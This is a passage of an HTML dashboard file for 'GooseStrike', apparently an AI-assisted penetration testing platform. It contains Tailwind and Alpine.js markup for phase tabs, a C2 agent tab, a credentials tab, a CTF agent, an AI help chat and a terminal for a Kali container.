mirror of
https://github.com/mblanke/StrikePackageGPT.git
synced 2026-03-01 14:20:21 -05:00
5112 lines
314 KiB
HTML
5112 lines
314 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="en">
|
||
<head>
|
||
<meta charset="UTF-8">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||
<title>GooseStrike - Security Analysis Dashboard</title>
|
||
<script src="https://cdn.tailwindcss.com"></script>
|
||
<script src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js" defer></script>
|
||
<script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
|
||
<script src="https://d3js.org/d3.v7.min.js"></script>
|
||
<script src="/static/dist/components.js"></script>
|
||
<link rel="icon" type="image/png" href="/static/icon.png">
|
||
<script>
|
||
tailwind.config = {
|
||
theme: {
|
||
extend: {
|
||
colors: {
|
||
'sp-black': '#0a0a0a',
|
||
'sp-dark': '#141414',
|
||
'sp-grey': '#1f1f1f',
|
||
'sp-grey-light': '#2a2a2a',
|
||
'sp-grey-mid': '#3a3a3a',
|
||
'sp-red': '#dc2626',
|
||
'sp-red-dark': '#991b1b',
|
||
'sp-red-light': '#ef4444',
|
||
'sp-white': '#ffffff',
|
||
'sp-white-dim': '#e5e5e5',
|
||
'sp-white-muted': '#a3a3a3',
|
||
'sev-critical': '#dc2626',
|
||
'sev-high': '#ea580c',
|
||
'sev-medium': '#eab308',
|
||
'sev-low': '#22c55e',
|
||
'sev-info': '#3b82f6',
|
||
}
|
||
}
|
||
}
|
||
}
|
||
</script>
|
||
<style>
|
||
.chat-container { height: calc(100vh - 320px); }
|
||
.terminal-container { height: calc(100vh - 280px); }
|
||
.message-content pre { background: #0a0a0a; padding: 1rem; border-radius: 0.5rem; overflow-x: auto; font-family: monospace; border: 1px solid #2a2a2a; }
|
||
.message-content code { background: #1f1f1f; padding: 0.2rem 0.4rem; border-radius: 0.25rem; font-family: monospace; color: #ef4444; }
|
||
.typing-indicator span { animation: blink 1.4s infinite both; }
|
||
.typing-indicator span:nth-child(2) { animation-delay: 0.2s; }
|
||
.typing-indicator span:nth-child(3) { animation-delay: 0.4s; }
|
||
@keyframes blink { 0%, 60%, 100% { opacity: 0; } 30% { opacity: 1; } }
|
||
.terminal-output { font-family: 'Fira Code', 'Monaco', 'Consolas', monospace; font-size: 13px; line-height: 1.5; }
|
||
.terminal-output .stdout { color: #e5e5e5; }
|
||
.terminal-output .stderr { color: #ef4444; }
|
||
.terminal-output .cmd { color: #dc2626; }
|
||
.scan-card { transition: all 0.2s ease; }
|
||
.scan-card:hover { transform: translateY(-2px); box-shadow: 0 4px 12px rgba(220, 38, 38, 0.15); }
|
||
.glow-red { box-shadow: 0 0 20px rgba(220, 38, 38, 0.3); }
|
||
@keyframes pulse-red { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } }
|
||
.pulse-red { animation: pulse-red 2s ease-in-out infinite; }
|
||
.severity-badge { font-weight: 600; padding: 2px 8px; border-radius: 4px; font-size: 11px; text-transform: uppercase; }
|
||
/* Network Map Styles */
|
||
.network-map-container { background: radial-gradient(circle at center, #1a1a1a 0%, #0a0a0a 100%); }
|
||
.network-node { cursor: pointer; transition: transform 0.2s ease; }
|
||
.network-node:hover { transform: scale(1.1); }
|
||
.network-link { stroke: #3a3a3a; stroke-width: 2; fill: none; }
|
||
.network-link.active { stroke: #dc2626; stroke-width: 3; }
|
||
.node-label { font-size: 11px; fill: #a3a3a3; text-anchor: middle; }
|
||
.node-ip { font-size: 10px; fill: #666; text-anchor: middle; font-family: monospace; }
|
||
.device-icon { font-size: 24px; }
|
||
|
||
/* Voice Control Styles */
|
||
.voice-btn { transition: all 0.3s ease; }
|
||
.voice-btn.listening { background: #dc2626 !important; animation: voice-pulse 1.5s ease-in-out infinite; }
|
||
.voice-btn.processing { background: #eab308 !important; }
|
||
@keyframes voice-pulse { 0%, 100% { box-shadow: 0 0 0 0 rgba(220, 38, 38, 0.7); } 50% { box-shadow: 0 0 0 15px rgba(220, 38, 38, 0); } }
|
||
|
||
/* Help Panel Styles */
|
||
.help-panel { width: 380px; transition: transform 0.3s ease; }
|
||
.help-panel.hidden { transform: translateX(100%); }
|
||
.help-message { animation: fadeIn 0.3s ease; }
|
||
@keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }
|
||
|
||
/* Wizard Styles */
|
||
.wizard-step { transition: all 0.3s ease; }
|
||
.wizard-step.active { border-color: #dc2626; background: rgba(220, 38, 38, 0.1); }
|
||
.wizard-progress { background: linear-gradient(90deg, #dc2626 var(--progress), #3a3a3a var(--progress)); }
|
||
|
||
/* Explain Button Styles */
|
||
.explain-btn { transition: all 0.2s ease; }
|
||
.explain-btn:hover { background: rgba(220, 38, 38, 0.2); }
|
||
.explain-tooltip { animation: tooltipFade 0.2s ease; }
|
||
@keyframes tooltipFade { from { opacity: 0; transform: scale(0.95); } to { opacity: 1; transform: scale(1); } }
|
||
|
||
/* CTF Agent Styles */
|
||
.ctf-message pre { background: #0a0a0a; padding: 0.75rem; border-radius: 0.375rem; overflow-x: auto; margin: 0.5rem 0; }
|
||
.ctf-message code { font-family: 'Fira Code', monospace; font-size: 12px; }
|
||
.ctf-message li { list-style: disc; margin-left: 1rem; }
|
||
#ctf-messages { scroll-behavior: smooth; }
|
||
</style>
|
||
</head>
|
||
<body class="bg-sp-black text-sp-white">
|
||
<div x-data="dashboard()" x-init="init()" class="min-h-screen flex flex-col">
|
||
<!-- Header -->
|
||
<header class="bg-sp-dark border-b border-sp-grey-mid px-6 py-4">
|
||
<div class="flex items-center justify-between">
|
||
<div class="flex items-center gap-4">
|
||
<div class="flex items-center gap-3">
|
||
<img src="/static/icon.png" alt="GooseStrike" class="h-10 w-10" onerror="this.style.display='none'">
|
||
<div>
|
||
<h1 class="text-2xl font-bold text-sp-red">GooseStrike</h1>
|
||
<span class="text-xs text-sp-white-muted">AI-Powered Penetration Testing Platform</span>
|
||
</div>
|
||
</div>
|
||
<img src="/static/flag.png" alt="Canada" class="h-6 ml-2" onerror="this.style.display='none'">
|
||
|
||
<!-- Project Selector -->
|
||
<div class="flex items-center gap-2 ml-6 px-3 py-1.5 bg-sp-grey rounded border border-sp-grey-mid">
|
||
<span class="text-sp-white-muted text-sm">📁 Project:</span>
|
||
<select x-model="currentProjectId"
|
||
@change="selectProject()"
|
||
class="bg-sp-dark border-0 text-sp-white text-sm font-semibold focus:outline-none max-w-[180px]">
|
||
<option value="">No Project</option>
|
||
<template x-for="proj in projects" :key="proj.id">
|
||
<option :value="proj.id" x-text="proj.name"></option>
|
||
</template>
|
||
</select>
|
||
<button @click="showProjectModal = true"
|
||
class="p-1 hover:bg-sp-grey-light rounded transition"
|
||
title="Create New Project">
|
||
<span class="text-sp-red">+</span>
|
||
</button>
|
||
<button @click="showProjectDetails = !showProjectDetails"
|
||
x-show="currentProjectId"
|
||
class="p-1 hover:bg-sp-grey-light rounded transition"
|
||
title="Project Details">
|
||
<span class="text-sp-white-muted">⚙️</span>
|
||
</button>
|
||
</div>
|
||
</div>
|
||
<div class="flex items-center gap-4">
|
||
<div x-show="runningProcesses.length > 0"
|
||
class="flex items-center gap-2 px-3 py-1.5 rounded bg-sp-red/20 border border-sp-red/50 cursor-pointer"
|
||
@click="showProcesses = !showProcesses">
|
||
<span class="w-2 h-2 rounded-full bg-sp-red pulse-red"></span>
|
||
<span class="text-sp-red text-sm font-medium" x-text="runningProcesses.length + ' Running'"></span>
|
||
</div>
|
||
<div class="flex items-center gap-3 text-sm">
|
||
<template x-for="(status, service) in services" :key="service">
|
||
<div class="flex items-center gap-1 px-2 py-1 rounded bg-sp-grey">
|
||
<span class="w-2 h-2 rounded-full" :class="status ? 'bg-green-500' : 'bg-sp-red'"></span>
|
||
<span class="text-sp-white-muted text-xs" x-text="service"></span>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
<!-- AI Provider Indicator -->
|
||
<div class="flex items-center gap-2 px-3 py-1.5 rounded border"
|
||
:class="getProviderStyle(selectedProvider)">
|
||
<span x-text="getProviderIcon(selectedProvider)" class="text-lg"></span>
|
||
<div class="flex flex-col">
|
||
<span class="text-xs font-semibold" x-text="getProviderName(selectedProvider)"></span>
|
||
<span class="text-xs opacity-75 font-mono" x-text="selectedModel"></span>
|
||
</div>
|
||
</div>
|
||
<select x-model="selectedProvider" @change="updateModels(); savePreferences()"
|
||
class="bg-sp-grey border border-sp-grey-mid rounded px-3 py-1.5 text-sm text-sp-white focus:border-sp-red focus:outline-none">
|
||
<option value="ollama-local">🦙 Local Ollama</option>
|
||
<option value="ollama-network">🌐 Networked Ollama</option>
|
||
<option value="openai">🤖 OpenAI</option>
|
||
<option value="anthropic">🧠 Anthropic</option>
|
||
</select>
|
||
<select x-model="selectedModel" @change="savePreferences()" class="bg-sp-grey border border-sp-grey-mid rounded px-3 py-1.5 text-sm text-sp-white focus:border-sp-red focus:outline-none max-w-[200px]">
|
||
<template x-for="model in availableModels" :key="model">
|
||
<option :value="model" x-text="model"></option>
|
||
</template>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
|
||
<div x-show="showProcesses && runningProcesses.length > 0" x-transition
|
||
class="mt-4 p-3 bg-sp-grey rounded border border-sp-grey-mid">
|
||
<h4 class="text-sm font-semibold text-sp-red mb-2">🔄 Running Processes</h4>
|
||
<div class="space-y-1">
|
||
<template x-for="proc in runningProcesses" :key="proc.pid">
|
||
<div class="flex items-center justify-between text-xs bg-sp-dark p-2 rounded">
|
||
<span class="text-sp-white-muted font-mono" x-text="proc.command"></span>
|
||
<div class="flex items-center gap-3">
|
||
<span class="text-sp-white-muted">CPU: <span class="text-sp-red" x-text="proc.cpu + '%'"></span></span>
|
||
<span class="text-sp-white-muted">Time: <span x-text="proc.time"></span></span>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 6-Phase Methodology Tabs -->
|
||
<div class="flex gap-1 mt-4 border-b border-sp-grey-mid">
|
||
<template x-for="phase in phases" :key="phase.id">
|
||
<button @click="activePhase = phase.id; activeTab = 'phase'"
|
||
:class="activePhase === phase.id && activeTab === 'phase' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
|
||
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
|
||
<span x-text="phase.icon"></span>
|
||
<span class="hidden lg:inline" x-text="phase.name"></span>
|
||
<span class="lg:hidden" x-text="phase.short"></span>
|
||
</button>
|
||
</template>
|
||
<div class="flex-1"></div>
|
||
<button @click="activeTab = 'terminal'"
|
||
:class="activeTab === 'terminal' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
|
||
class="px-4 py-2 font-medium transition border-b-2">
|
||
🖥️ Terminal
|
||
</button>
|
||
<button @click="activeTab = 'attack-chains'"
|
||
:class="activeTab === 'attack-chains' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
|
||
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
|
||
⛓️ Attack Chains
|
||
<span x-show="attackChains.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="attackChains.length"></span>
|
||
</button>
|
||
<button @click="activeTab = 'network-map'"
|
||
:class="activeTab === 'network-map' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
|
||
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
|
||
🗺️ Network Map
|
||
<span x-show="networkHosts.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="networkHosts.length"></span>
|
||
</button>
|
||
<button @click="activeTab = 'scan-history'"
|
||
:class="activeTab === 'scan-history' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
|
||
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
|
||
📋 Scan History
|
||
<span x-show="scans.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="scans.length"></span>
|
||
</button>
|
||
<button @click="activeTab = 'c2'"
|
||
:class="activeTab === 'c2' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
|
||
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
|
||
☠️ C2
|
||
<span x-show="c2Agents.filter(a => a.status === 'active').length > 0"
|
||
class="px-2 py-0.5 bg-green-500/30 rounded-full text-xs text-green-400"
|
||
x-text="c2Agents.filter(a => a.status === 'active').length"></span>
|
||
</button>
|
||
<button @click="activeTab = 'credentials'"
|
||
:class="activeTab === 'credentials' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
|
||
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
|
||
🔐 Creds
|
||
<span x-show="credentials.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="credentials.length"></span>
|
||
</button>
|
||
<button @click="activeTab = 'notes'"
|
||
:class="activeTab === 'notes' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
|
||
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
|
||
📝 Notes
|
||
<span x-show="projectNotes.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="projectNotes.length"></span>
|
||
</button>
|
||
<button @click="activeTab = 'ctf'"
|
||
:class="activeTab === 'ctf' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
|
||
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
|
||
🚩 CTF Agent
|
||
</button>
|
||
</div>
|
||
</header>
|
||
|
||
<!-- Main Content -->
|
||
<div class="flex flex-1 overflow-hidden">
|
||
<!-- Sidebar -->
|
||
<aside class="w-64 bg-sp-dark border-r border-sp-grey-mid p-4 overflow-y-auto">
|
||
<div class="mb-4 p-3 bg-sp-grey rounded border border-sp-grey-mid">
|
||
<h3 class="text-sm font-semibold text-sp-red mb-2" x-text="getCurrentPhase().name"></h3>
|
||
<p class="text-xs text-sp-white-muted" x-text="getCurrentPhase().description"></p>
|
||
</div>
|
||
|
||
<h2 class="text-lg font-semibold mb-4 text-sp-white-dim">🛠️ Phase Tools</h2>
|
||
<div class="space-y-1 mb-6">
|
||
<template x-for="tool in getCurrentPhase().tools" :key="tool.name">
|
||
<button @click="askAboutTool(tool)"
|
||
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded transition">
|
||
<span class="font-mono text-sp-red-light" x-text="tool.name"></span>
|
||
<p class="text-xs text-sp-white-muted truncate" x-text="tool.description"></p>
|
||
</button>
|
||
</template>
|
||
</div>
|
||
|
||
<h2 class="text-lg font-semibold mb-4 text-sp-white-dim">⚡ Quick Actions</h2>
|
||
<div class="space-y-2">
|
||
<template x-for="action in getCurrentPhase().quickActions" :key="action.label">
|
||
<button @click="executeQuickAction(action)"
|
||
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light hover:border-sp-red border border-transparent px-3 py-2 rounded flex items-center gap-2 transition">
|
||
<span x-text="action.icon"></span>
|
||
<span x-text="action.label"></span>
|
||
</button>
|
||
</template>
|
||
</div>
|
||
|
||
<div class="mt-6" x-show="findings.length > 0">
|
||
<h2 class="text-lg font-semibold mb-4 text-sp-white-dim">📊 Findings</h2>
|
||
<div class="space-y-2">
|
||
<div class="flex items-center justify-between text-sm">
|
||
<span class="text-sev-critical">Critical</span>
|
||
<span class="font-bold" x-text="countBySeverity('critical')"></span>
|
||
</div>
|
||
<div class="flex items-center justify-between text-sm">
|
||
<span class="text-sev-high">High</span>
|
||
<span class="font-bold" x-text="countBySeverity('high')"></span>
|
||
</div>
|
||
<div class="flex items-center justify-between text-sm">
|
||
<span class="text-sev-medium">Medium</span>
|
||
<span class="font-bold" x-text="countBySeverity('medium')"></span>
|
||
</div>
|
||
<div class="flex items-center justify-between text-sm">
|
||
<span class="text-sev-low">Low</span>
|
||
<span class="font-bold" x-text="countBySeverity('low')"></span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Onboarding & Help Section -->
|
||
<div class="mt-6 pt-4 border-t border-sp-grey-mid">
|
||
<h2 class="text-lg font-semibold mb-4 text-sp-white-dim">🎓 Help & Onboarding</h2>
|
||
<div class="space-y-2">
|
||
<button @click="showWizard('first_time_setup')"
|
||
x-show="!onboardingComplete"
|
||
class="w-full text-left text-sm bg-sp-red/20 hover:bg-sp-red/30 border border-sp-red/50 px-3 py-2 rounded flex items-center gap-2 transition">
|
||
<span>🚀</span>
|
||
<span>Getting Started</span>
|
||
</button>
|
||
<button @click="showWizard('run_scan')"
|
||
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded flex items-center gap-2 transition">
|
||
<span>🎯</span>
|
||
<span>Scan Wizard</span>
|
||
</button>
|
||
<button @click="showWizard('create_operation')"
|
||
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded flex items-center gap-2 transition">
|
||
<span>📋</span>
|
||
<span>New Operation</span>
|
||
</button>
|
||
<button @click="toggleHelpPanel()"
|
||
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded flex items-center gap-2 transition"
|
||
:class="showHelpPanel ? 'bg-sp-red/20 border-sp-red' : ''">
|
||
<span>💬</span>
|
||
<span>AI Help Chat</span>
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Voice Command Reference -->
|
||
<div class="mt-4 p-3 bg-sp-grey/50 rounded border border-sp-grey-mid">
|
||
<h4 class="text-xs font-semibold text-sp-white-muted mb-2">🎤 Voice Commands</h4>
|
||
<div class="text-xs text-sp-white-muted space-y-1">
|
||
<p>• "Scan [target]"</p>
|
||
<p>• "Show agents"</p>
|
||
<p>• "List scans"</p>
|
||
<p>• "Help with [topic]"</p>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Voice Controls Component Mount Point -->
|
||
<div id="voice-controls-mount" class="mt-4"></div>
|
||
</aside>
|
||
|
||
<!-- Help Chat Panel (Slide-in) -->
|
||
<aside x-show="showHelpPanel"
|
||
x-transition:enter="transition ease-out duration-300"
|
||
x-transition:enter-start="translate-x-full"
|
||
x-transition:enter-end="translate-x-0"
|
||
x-transition:leave="transition ease-in duration-200"
|
||
x-transition:leave-start="translate-x-0"
|
||
x-transition:leave-end="translate-x-full"
|
||
class="help-panel fixed right-0 top-0 h-full bg-sp-dark border-l border-sp-grey-mid z-40 flex flex-col">
|
||
<div class="p-4 border-b border-sp-grey-mid flex items-center justify-between">
|
||
<h3 class="font-bold text-sp-white flex items-center gap-2">
|
||
💬 AI Help Assistant
|
||
</h3>
|
||
<button @click="showHelpPanel = false" class="text-sp-white-muted hover:text-white">✕</button>
|
||
</div>
|
||
|
||
<div class="flex-1 overflow-y-auto p-4 space-y-3" id="helpChatContainer">
|
||
<template x-for="(msg, idx) in helpMessages" :key="idx">
|
||
<div class="help-message" :class="msg.role === 'user' ? 'text-right' : 'text-left'">
|
||
<div :class="msg.role === 'user'
|
||
? 'bg-sp-red inline-block rounded-lg px-3 py-2 text-sm'
|
||
: 'bg-sp-grey inline-block rounded-lg px-3 py-2 text-sm border border-sp-grey-mid'">
|
||
<div x-html="renderMarkdown(msg.content)"></div>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
<div x-show="helpLoading" class="text-left">
|
||
<div class="bg-sp-grey inline-block rounded-lg px-3 py-2 border border-sp-grey-mid">
|
||
<div class="typing-indicator flex gap-1">
|
||
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
|
||
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
|
||
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Quick Help Buttons -->
|
||
<div class="p-3 border-t border-sp-grey-mid">
|
||
<div class="flex flex-wrap gap-2 mb-3">
|
||
<button @click="askHelp('How do I start?')" class="text-xs bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded">🚀 Getting Started</button>
|
||
<button @click="askHelp('Explain nmap options')" class="text-xs bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded">🔍 Nmap Help</button>
|
||
<button @click="askHelp('What are the phases?')" class="text-xs bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded">📋 Phases</button>
|
||
<button @click="askHelp('Show voice commands')" class="text-xs bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded">🎤 Voice</button>
|
||
</div>
|
||
<form @submit.prevent="sendHelpMessage()" class="flex gap-2">
|
||
<input type="text" x-model="helpInput" placeholder="Ask anything..."
|
||
class="flex-1 bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-1 focus:ring-sp-red">
|
||
<button type="submit" class="bg-sp-red hover:bg-sp-red-dark px-3 py-2 rounded text-sm" :disabled="!helpInput.trim()">
|
||
Send
|
||
</button>
|
||
</form>
|
||
</div>
|
||
</aside>
|
||
|
||
<!-- Content Area -->
|
||
<main class="flex-1 flex flex-col">
|
||
|
||
<!-- Phase Content -->
|
||
<div x-show="activeTab === 'phase'" class="flex-1 flex flex-col">
|
||
<div class="chat-container overflow-y-auto p-6 space-y-4" id="chatContainer">
|
||
<template x-for="(msg, index) in messages" :key="index">
|
||
<div :class="msg.role === 'user' ? 'flex justify-end' : 'flex justify-start'">
|
||
<div :class="msg.role === 'user'
|
||
? 'bg-sp-red text-white max-w-3xl'
|
||
: 'bg-sp-grey text-sp-white-dim max-w-4xl border border-sp-grey-mid'"
|
||
class="rounded-lg px-4 py-3 message-content">
|
||
<template x-if="msg.role === 'assistant'">
|
||
<div class="flex items-center gap-2 mb-2 pb-2 border-b border-sp-grey-mid flex-wrap">
|
||
<!-- AI Provider Badge -->
|
||
<div class="flex items-center gap-1 px-2 py-0.5 rounded text-xs"
|
||
:class="getProviderBadgeStyle(msg.provider || 'ollama')">
|
||
<span x-text="getProviderIcon(msg.provider || 'ollama')"></span>
|
||
<span x-text="msg.model || 'AI'"></span>
|
||
</div>
|
||
<template x-if="msg.phase">
|
||
<span class="text-xs px-2 py-1 bg-sp-red/20 text-sp-red rounded" x-text="msg.phase"></span>
|
||
</template>
|
||
<template x-if="msg.risk_score">
|
||
<span :class="getRiskColor(msg.risk_score)"
|
||
class="severity-badge"
|
||
x-text="getRiskLabel(msg.risk_score)"></span>
|
||
</template>
|
||
</div>
|
||
</template>
|
||
<div x-html="renderMarkdown(msg.content)"></div>
|
||
<template x-if="msg.findings && msg.findings.length > 0">
|
||
<div class="mt-3 pt-3 border-t border-sp-grey-mid">
|
||
<h5 class="text-xs font-semibold text-sp-white-muted mb-2">Findings:</h5>
|
||
<div class="space-y-1">
|
||
<template x-for="finding in msg.findings" :key="finding.id">
|
||
<div class="flex items-center gap-2 text-xs bg-sp-black/50 p-2 rounded">
|
||
<span :class="getSeverityBadgeClass(finding.severity)"
|
||
class="severity-badge"
|
||
x-text="finding.severity"></span>
|
||
<span x-text="finding.title"></span>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
|
||
<div x-show="isLoading" class="flex justify-start">
|
||
<div class="bg-sp-grey rounded-lg px-4 py-3 border border-sp-grey-mid">
|
||
<div class="typing-indicator flex gap-1">
|
||
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
|
||
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
|
||
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div x-show="phaseScans.length > 0" class="border-t border-sp-grey-mid bg-sp-dark p-3">
|
||
<div class="flex items-center gap-4 overflow-x-auto">
|
||
<span class="text-xs text-sp-white-muted font-semibold">Scans:</span>
|
||
<template x-for="scan in phaseScans" :key="scan.scan_id">
|
||
<div @click="viewScanDetails(scan)"
|
||
class="flex items-center gap-2 px-3 py-1 bg-sp-grey rounded cursor-pointer hover:bg-sp-grey-light">
|
||
<span :class="{
|
||
'bg-yellow-500': scan.status === 'running' || scan.status === 'pending',
|
||
'bg-green-500': scan.status === 'completed',
|
||
'bg-sp-red': scan.status === 'failed'
|
||
}" class="w-2 h-2 rounded-full"></span>
|
||
<span class="text-xs text-sp-red font-mono" x-text="scan.tool"></span>
|
||
<span class="text-xs text-sp-white-muted" x-text="scan.target"></span>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="border-t border-sp-grey-mid p-4 bg-sp-dark">
|
||
<form @submit.prevent="sendMessage()" class="flex gap-2">
|
||
<!-- Voice Control Button -->
|
||
<button type="button"
|
||
@click="toggleVoiceRecording()"
|
||
@keydown.space.prevent="startVoiceRecording()"
|
||
@keyup.space.prevent="stopVoiceRecording()"
|
||
class="voice-btn px-4 py-3 rounded-lg transition flex items-center justify-center"
|
||
:class="{
|
||
'bg-sp-grey hover:bg-sp-grey-light': voiceState === 'idle',
|
||
'listening': voiceState === 'listening',
|
||
'processing': voiceState === 'processing',
|
||
'bg-green-600': voiceState === 'speaking'
|
||
}"
|
||
:title="voiceState === 'idle' ? 'Click or hold Space to speak' : voiceState">
|
||
<span x-show="voiceState === 'idle'">🎤</span>
|
||
<span x-show="voiceState === 'listening'" class="animate-pulse">🔴</span>
|
||
<span x-show="voiceState === 'processing'">⏳</span>
|
||
<span x-show="voiceState === 'speaking'">🔊</span>
|
||
</button>
|
||
<input type="text" x-model="userInput"
|
||
:placeholder="getPhasePrompt()"
|
||
class="flex-1 bg-sp-grey border border-sp-grey-mid rounded-lg px-4 py-3 focus:outline-none focus:ring-2 focus:ring-sp-red focus:border-transparent text-sp-white placeholder-sp-white-muted"
|
||
:disabled="isLoading">
|
||
<!-- Explain Button for Input -->
|
||
<button type="button"
|
||
@click="explainInput()"
|
||
class="explain-btn bg-sp-grey hover:bg-sp-grey-light px-3 py-3 rounded-lg transition"
|
||
:disabled="!userInput.trim()"
|
||
title="Get help with this command">
|
||
❓
|
||
</button>
|
||
<button type="submit"
|
||
class="bg-sp-red hover:bg-sp-red-dark disabled:bg-sp-grey-mid px-6 py-3 rounded-lg font-semibold transition text-white"
|
||
:disabled="isLoading || !userInput.trim()">
|
||
Send
|
||
</button>
|
||
</form>
|
||
<!-- Voice Transcript Display -->
|
||
<div x-show="voiceTranscript" x-transition class="mt-2 p-2 bg-sp-grey/50 rounded text-sm text-sp-white-muted">
|
||
<span class="text-sp-red">🎤 Heard:</span> <span x-text="voiceTranscript"></span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Terminal Tab -->
|
||
<div x-show="activeTab === 'terminal'" class="flex-1 flex flex-col">
|
||
<div class="terminal-container overflow-y-auto p-4 bg-sp-black font-mono" id="terminalOutput">
|
||
<div class="terminal-output">
|
||
<template x-for="(line, index) in terminalHistory" :key="index">
|
||
<div>
|
||
<template x-if="line.type === 'cmd'">
|
||
<div class="cmd mb-1">
|
||
<span class="text-sp-red">kali@strikepackage</span>:<span class="text-sp-white-muted">~</span>$ <span class="text-white" x-text="line.content"></span>
|
||
</div>
|
||
</template>
|
||
<template x-if="line.type === 'stdout'">
|
||
<pre class="stdout whitespace-pre-wrap" x-text="line.content"></pre>
|
||
</template>
|
||
<template x-if="line.type === 'stderr'">
|
||
<pre class="stderr whitespace-pre-wrap" x-text="line.content"></pre>
|
||
</template>
|
||
<template x-if="line.type === 'info'">
|
||
<div class="text-sp-white-muted italic" x-text="line.content"></div>
|
||
</template>
|
||
<template x-if="line.type === 'keepalive'">
|
||
<div class="text-yellow-500 italic flex items-center gap-2">
|
||
<svg class="animate-spin h-4 w-4" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
|
||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
|
||
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
|
||
</svg>
|
||
<span x-text="line.content"></span>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</template>
|
||
<div x-show="terminalLoading" class="text-sp-red animate-pulse flex items-center gap-2">
|
||
<span class="inline-block w-2 h-2 bg-sp-red rounded-full animate-ping"></span>
|
||
<span x-text="terminalStreaming ? 'Streaming output...' : 'Executing command...'"></span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="border-t border-sp-grey-mid p-4 bg-sp-dark">
|
||
<form @submit.prevent="executeCommand()" class="flex gap-4 items-center">
|
||
<div class="flex items-center text-sp-red font-mono text-sm">
|
||
kali@strikepackage:~$
|
||
</div>
|
||
<input type="text" x-model="terminalInput"
|
||
placeholder="Enter command to execute in Kali container..."
|
||
class="flex-1 bg-sp-black border border-sp-grey-mid rounded px-4 py-2 font-mono text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted"
|
||
:disabled="terminalLoading"
|
||
@keyup.up="historyUp()"
|
||
@keyup.down="historyDown()">
|
||
<button x-show="!terminalStreaming"
|
||
type="submit"
|
||
